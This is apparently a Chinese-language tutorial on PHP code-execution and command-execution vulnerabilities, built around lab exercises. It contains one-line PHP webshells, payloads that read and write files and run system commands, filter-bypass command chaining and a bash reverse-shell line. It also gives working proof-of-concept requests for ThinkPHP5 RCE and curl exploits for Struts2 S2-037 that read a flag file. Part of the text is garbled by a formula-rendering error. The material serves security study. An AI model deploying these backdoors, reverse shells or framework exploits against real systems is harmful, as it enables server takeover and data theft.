一、代码执行1.什么是代码执行漏洞对于代码执行我们先了解清楚什么是代码执行漏洞代码执行顾名思义就是将用户输入的内容作为脚本代码进行执行的一类漏洞此类漏洞影响很大在权限较大的情况下可以直接接管服务器。通俗来讲的意思就是在正常的网站逻辑中用户输入的内容应该就是将‘数据’例如用户名、密码等但是在代码执行漏洞中用户输入的内容被当成了编程语言代码python java php语言直接运行相当于攻击者直接在服务器上写代码、执行命令能直接控制服务器。2. 代码执行漏洞的底层原理应用程序在调用一些能够将字符串转换为代码的函数如 PHP 中的 eval时没有考虑用户是否控制这个字符串从而将用户输入的字符串直接转化为代码进行执行所导致的漏洞。这类漏洞很难通过黑盒查找大部分都是根据源代码判断代码执行漏洞。简单来说就是1**存在 “字符串转代码” 的危险函数**比如 PHP 的eval()、Python 的exec()、Java 的Runtime.exec()等这些函数的作用就是把传入的字符串当成代码执行。2**用户可控输入直接传入危险函数**开发者没有对用户输入做任何过滤 / 限制攻击者可以完全控制传入危险函数的内容。3**没有安全过滤 / 权限限制**比如没有禁用危险字符、没有限制函数权限导致攻击者输入的恶意代码能成功执行。为什么黑盒难以发现我们知道黑盒测试只能通过输入数据看返回结果而代码执行漏洞的触发往往需要构造特殊的代码语句且很多时候没有直观的回显比如无回显的代码执行所以必须结合白盒审计看源代码 才能精准定位漏洞点。3.PHP 中常见的代码执行危险函数函数说明版本限制eval()把字符串作为 PHP 代码执行最经典的危险函数PHP 4/5/7/8 均支持assert()断言函数传入字符串时会当作 PHP 代码执行PHP 5/7PHP 7.2 后废弃字符串参数preg_replace() /e修饰符正则替换时用/e模式会把替换后的字符串当作代码执行仅 PHP 5.5.0 支持PHP 5.5 移除了/e模式call_user_func()/call_user_func_array()回调函数第一个参数为用户可控的函数名第二个为参数全版本支持create_function()创建匿名函数第二个参数为用户可控代码时会执行PHP 4/5/7.0PHP 7.2 废弃array_map()/array_filter()等数组回调函数第一个参数为用户可控的回调函数名版本支持正则替换// 目标把句子里的 test 换成 成功echopreg_replace(/test/,成功,这是一个test字符串);输出结果这是一个成功字符串/test/ 正则规则找 test成功 替换内容最后那个字符串 要处理的文本4.最简单的代码执行案例保存为eval.php,上传到PHP服务器,访问http://127.0.0.1/eval.php?passphpinfo();?phpeval($_GET[pass]);?从代码角度查看菜刀功能写入一句话PHP后门index.php?phpeval($_GET[pass]);highlight_file(__FILE__);?http://127.0.0.1/index.php?passKaTeX parse error: Expected group after _ at position 20: …pendir(dirname(_̲_FILE__));while…files[]readdir(d r ) ) ! f a l s e ) ; p r i n t r ( dr))!false);print_r(dr))!false);printr​(files);代码片段作用dirname(FILE)获取当前脚本所在的目录路径__FILE__是当前文件的完整路径dirname 提取目录部分opendir(…)打开指定目录返回目录句柄类似打开文件夹的 “把手”while((f i l e s [ ] r e a d d i r ( files[] readdir(files[]readdir(dr)) ! false)循环读取目录下的所有文件 / 文件夹存入数组$filesprint_r($files)打印数组内容回显目录下的所有文件进行访问url:浏览器回显Array ( [0] . [1] … [2] digininja-DVWA-a96943d [3] dvwa [4] ….当前目录…上级目录同时也可以使用替代函数用scandir()简化代码效果完全一致print_r(scandir(dirname(__FILE__)));也可以换成绝对路径print_r(file_get_contents(qax.txt));// 也可以换成绝对路径比如 C:\phpStudy\WWW\qax.txtfile_get_contents(‘文件名’)读取指定文件的全部内容返回字符串。print_r()把读取到的内容回显到浏览器让攻击者看到文件内容。访问http://127.0.0.1/?passprint_r(file_get_contents(%27qax.txt%27));浏览器会回显跟文档中的内容一致创建/写入文件:print_r(file_put_contents(qax66.txt,qax66666));// 也可以换成绝对路径比如 C:\phpStudy\WWW\qax66.txt访问http://127.0.0.1/?passprint_r(file_put_contents(%27qax66.txt%27,%27qax66666%27));服务器目录中会生成qax66.txt打开后内容为qax66666写入成功。执行系统命令system(whoami);system(‘系统命令’)执行系统命令并直接把命令的输出回显到浏览器。whoami查看当前服务器运行 PHP 的用户Windows 下显示admin\administratorLinux 下显示当前用户名。访问http://127.0.0.1/?passsystem(%27whoami%27);二、命令执行1.命令执行漏洞原理定义应用程序调用系统命令执行函数如 PHP 的system()时未对用户输入做过滤 / 校验直接将用户可控的输入作为系统命令执行导致攻击者可以控制服务器执行任意系统指令。本质用户输入被直接解析为操作系统命令而非编程语言代码。2.命令执行 vs 代码执行核心区别:漏洞类型执行对象示例 Payload场景差异代码执行漏洞编程语言脚本代码如 PHP、Pythonpasssystem(‘whoami’);需要先调用编程语言的系统命令函数再执行命令命令执行漏洞操作系统原生命令如 cmd/bashpasswhoami直接执行系统命令无需额外函数包裹3.PHP 中导致命令执行的危险函数:函数执行方式输出特点实战场景system()直接执行系统命令命令执行结果直接回显到浏览器览器 快速查看命令输出如whoami、direxec()执行系统命令不直接回显需用echo打印返回结果适合执行后台命令仅获取返回值shell_exec()执行系统命令不直接回显需用echo打印结果支持管道符、重定向等复杂命令passthru()执行系统命令直接回显支持二进制输出适合下载文件、执行需要流式输出的命令实战步骤一创建cmd.php?phpsystem($_GET[pass]);highlight_file(__FILE__);?步骤二浏览器访问命令作用URL 示例whoami查看当前运行用户http://127.0.0.1/cmd.php?passwhoamidir查看当前目录文件http://127.0.0.1/cmd.php?passdiripconfig查看服务器 IP 信息http://127.0.0.1/cmd.php?passipconfigecho 123 test.txt创建文件http://127.0.0.1/cmd.php?passecho 123 test.txt访问 http://127.0.0.1/cmd.php?passecho 123 test.txt会在根目录直接创建test.txt并写入相应内容拓展命令拼接与绕过如果服务器对命令做了部分过滤可以用这些方式拼接 / 绕过管道符?passwhoami|dirWindows 下同时执行两个命令分号?passwhoami;dirLinux/Windows 下同时执行逻辑与?passwhoamidir第一个命令成功后执行第二个逻辑或?passwhoami||dir第一个命令失败后执行第二个无回显命令执行渗透中常见如果命令执行没有回显可以用以下方式验证写入文件?passwhoami result.txt然后访问result.txt查看结果反弹 ShellLinux 环境?passbash -i /dev/tcp/你的IP/端口 01三、常见框架漏洞1. 漏洞核心信息**漏洞名称**ThinkPHP5 远程代码执行漏洞**影响版本**ThinkPHP 5.0.22 ~ 5.1.29漏洞成因框架未正确处理控制器名在未开启强制路由默认配置的情况下攻击者可通过 URL 传入任意控制器 / 方法最终调用call_user_func_array执行任意系统命令。2. 漏洞原理拆解ThinkPHP 默认路由规则为 index.php?s控制器/方法/参数当攻击者构造特殊的控制器路径时可直接调用框架内置的\think\app\invokefunction方法该方法支持传入function和vars参数最终通过call_user_func_array执行任意函数如system。3.实战POC与利用1GET 请求直接利用浏览器访问http://目标IP:端口/index.php?sindex/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]systemvars[1][]whoami2POST 请求 POC适用于部分过滤场景POST /index.php?scaptcha HTTP/1.1 Host: 目标IP Content-Type: application/x-www-form-urlencoded_method__constructfilter[]systemmethodgetserver[REQUEST_METHOD]id原理通过_method伪造请求方法为__construct绕过框架路由过滤触发代码执行。3批量检测工具使用# 检测单个目标python3 tp5poc.py-uhttp://目标IP:端口# 批量检测多个目标python3 tp5poc.py-ftarget.txt4使用 Vulhub 一键搭建测试环境gitclone https://github.com/vulhub/vulhub.gitcdvulhub/thinkphp/5.0.23-rcedocker-composeup-d问http://目标IP:8080即可测试漏洞。四、实战练习Apache Struts2远程代码执行漏洞(S2-037)复现题目IP地址 : 182.44.114.36 端口 : 8080 协议 : http http://182.44.114.36:44328 (tcp) - 8080其他 :步骤一安装Docker Desktop 并启动服务步骤二进入 S2-037 漏洞目录打开 CMD进入 Vulhub 目录下的漏洞环境文件夹C:\Users\31825\Downloads\vulhub-master\struts2\s2-037步骤三一键启动漏洞容器docker-composeup-d步骤四执行系统命令验证漏洞使用 curl 工具发送恶意请求执行 id 命令curl “http://127.0.0.1:8080/?redirect:%25%7B%23context%255B%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%255D.addHeader(‘cmd’,new java.lang.String(org.apache.commons.io.IOUtilstoString(java.lang.RuntimegetRuntime().exec(‘id’).getInputStream())))}”步骤五读取本地 Flag 文件curl “http://127.0.0.1:8080/?redirect:%25%7B%23context%255B%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%255D.addHeader(‘flag’,new java.lang.String(org.apache.commons.io.IOUtilstoString(java.lang.RuntimegetRuntime().exec(‘cat /flag’).getInputStream())))}”